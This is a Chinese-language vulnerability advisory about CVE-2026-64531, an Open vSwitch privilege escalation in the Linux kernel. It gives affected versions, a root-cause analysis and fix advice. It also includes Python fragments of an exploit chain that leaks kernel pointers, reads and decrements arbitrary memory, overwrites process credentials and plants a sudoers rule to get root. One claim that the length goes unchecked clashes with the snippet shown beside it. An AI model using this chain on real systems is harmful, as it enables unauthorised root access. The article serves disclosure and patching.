Linux 内核bug隐藏13年的CVE-2026-64531 提权漏洞

admin 2026年8月7日23:28:16评论74 views字数 3624阅读12分4秒阅读模式

Linux内核OpenvSwitch子系统曝出本地提权漏洞CVE-2026-64531,CVSS 7.8。漏洞源于2011年的代码缺陷,因2025年3月移除长度上限而被利用。攻击者可在用户命名空间中触发16位长度字段回绕,导致越界解析,实现提权。多个稳定分支受影响,门槛低,危害严重。

Linux 内核bug隐藏13年的CVE-2026-64531 提权漏洞

Linux  内核 Open vSwitch 子系统近期曝出一个本地提权漏洞,编号 CVE-2026-64531,CVSS  7.8。这段出问题的代码其实已经躺了 13 年,一直没人动它,直到 2025 年 3 月内核里一个旁路的长度上限被移掉,老 bug  才真正能被利用。

一、漏洞描述

漏洞在内核  net/openvswitch/flow_netlink.c 里。用户态把一串 action  列表传给内核,内核校验后会重写成更大的内部格式存起来,这些内部 action 用的是 Netlink 属性的壳子,每个壳子头里有个 16  位的长度字段,最多只能表示 65535 字节。

问题出在一个回填长度的函数上。嵌套  action 构造完,内核要把它总长度塞回壳子头里,原代码直接塞,没检查到底有多长。要是这个嵌套 action 实际撑过了 65535  字节,长度字段就截断回绕成一个很小的值。后面所有遍历这条流的代码——dump 回用户态、释放、统计——都信这个回绕后的长度,于是从攻击者塞的  action 中间某个位置接着往下解析,把攻击者控制的字节当成新的 action 头来识别。

这个赋值  bug 最早能追到 2011 年。13年都没爆出问题其实是因为同时期内核对这条流的总长度有个 32 KiB 的上限,单个嵌套 action  不可能撑到回绕点。但2025 年 3 月这个上限被移掉了,官方的去除也是合理的,主要是action 在转换时会膨胀,上限会搞出莫名其妙的失败。但上限一去,这个bug 问题就出来了,还跟着回移到了一大堆稳定分支。

受影响范围不算窄。主线 6.14 合入,又回移到一串稳定分支:

内核分支
受影响版本
首个修复版本
5.15
5.15.180 – 5.15.211
5.15.212
6.1
6.1.132 – 6.1.177
6.1.178
6.6
6.6.84 – 6.6.144
6.6.145
6.12
6.12.20 – 6.12.96
6.12.97
6.18
6.18.0 – 6.18.39
6.18.40
7.1
7.1.0 – 7.1.4
7.1.5

6.13、6.14 到 6.17、6.19、7.0 这些已经 EOL 的分支没人补,主线自 7.2-rc4 起修复。

门槛很低这一点要单独说。攻击者不需要  root、不需要 host 级的网络权限、不需要现成的 OVS bridge 或者跑着的  ovs-vswitchd。系统只要允许普通用户开自己的命名空间(默认大多发行版都开),普通用户在自己开的网络命名空间里就能拿到够用的权限,然后顺手把  openvswitch 模块也自动加载进来。所以才会那么多发行版默认就中招。

二、原理分析

根上就一句话:16 位长度字段撑不过 65535。脚本里构造 Netlink 属性那段就能看出来——长度直接当 u16 写,没一行校验:

def nla(attr_type, payload):    length = 4 + len(payload)    if length > 0xFFFF:        raise ValueError("netlink attribute too long")    return struct.pack("HH", length, attr_type) + payload + ...

conntrack  是触发回绕最顺手的材料。一条几字节的 CT action 被内核扩成完整内部结构后能胀到 164 字节,几百条塞进一个 CLONE  就破线,长度字段回绕成小值,但底层 buffer 完整留着。回绕让解析只走一小段就以为 CLONE 结束了,下一步落到攻击者可控的  labels/timeout 字段上——脚本里这段构造的就是落点要被当成"下一个 action"识别的伪造头:

labels[fake_offset : fake_offset+4] = struct.pack("HH", 0xFFFF, OVS_ACTION_ATTR_SET)
labels[fake_offset+4 : fake_offset+8] = struct.pack("HH", 12, OVS_KEY_ATTR_TUNNEL_INFO)
labels[fake_offset+8 : fake_offset+16] = struct.pack("<Q", tun_dst)

第一个落点塞假 OUTPUT、长度故意设大,dump 时把后续一大片生成的 CT 当自己 payload 全拷回用户态,夹带的 conntrack helper 真实指针就漏了。脚本扫高位段就能认出来:

def likely_kernel_pointers(buf):    for offset in range(0, len(buf)-7):        value = struct.unpack_from("<Q", buf, offset)[0]        if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF:            yield (offset, value)

指针往上摸到  helper 所属 module 的 ktype,被 KASLR 随机化的内核基址就出来了。第二个落点塞假 tunnel  SET,payload 里 tun_dst 由攻击者选——OVS dump 时会以为它指着真 tunnel  元数据,按几个固定字段把那块内存原样抄回来。想读地址 A,就让某个字段正好落在 A:

def read_u8_with_lane(self, address, lane):    key_start = address - lane.field_offset        # 让该字段落在目标地址    tun_dst  = key_start - self.offsets.metadata_dst_tun_info    actions  = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)    create_flow(...); dumped = get_flow_actions(...)    # 解析返回的 tunnel 字段值即读到的字节

同一假 tunnel SET 还当减法原语用。释放 flow 时对每个 tunnel SET 调一次 dst_release 减引用计数,把 tun_dst 指到目标前一点,引用计数字段正好压在目标 32 位字上——这次释放就变成定向减一:

def decrement_u32_once(self, target_address):    tun_dst = target_address - self.offsets.dst_entry_ref    actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)    create_flow(..., actions)    delete_flow(...)        # 释放触发 dst_release,目标处减一

有了任意读和减法,剩下就是定位目标。顺着  PID 命名空间 IDR 查到目标进程的 task_struct,读出 cred 指针,改 cred 走两条路:新内核把  fsuid、fsgid 一个个敲到 0;老内核把原本为 0 的 capability 字敲一次回绕成全 1,等于全开  capability。改完往 sudoers 里丢一条免密规则,sudo -n bash 就拿 root:

def convert_writer_credential(reader, writer, offsets, cred):    if offsets.dst_entry_ref_kind == "__rcuref":        decrement_to_zero(reader, writer, cred+offsets.cred_fsuid, "fsuid")        decrement_to_zero(reader, writer, cred+offsets.cred_fsgid, "fsgid")    elif offsets.dst_entry_ref_kind == "__refcnt":        decrement_zero_to_all_ones(reader, writer, cred+offsets.cred_cap_permitted, ...)

全链没用堆排布、没用竞速,偏移在一个确定的内核 build 上是死的,脚本自带约 800 个 x86-64 build 的预派生值,命中后连 System.map、BTF 都不用读。稳得像个逻辑 bug,不像传统内存破坏。

三、修复建议

升级到官方修复版本

无法升级可以考虑不用 OVS 就把 openvswitch 模块卸掉并拉黑。

Linux 内核bug隐藏13年的CVE-2026-64531 提权漏洞

原文始发于微信公众号(night安全):【漏洞预警】Linux 内核bug隐藏13年的CVE-2026-64531 提权漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2026年8月7日23:28:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux 内核bug隐藏13年的CVE-2026-64531 提权漏洞https://cn-sec.com/archives/5380682.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息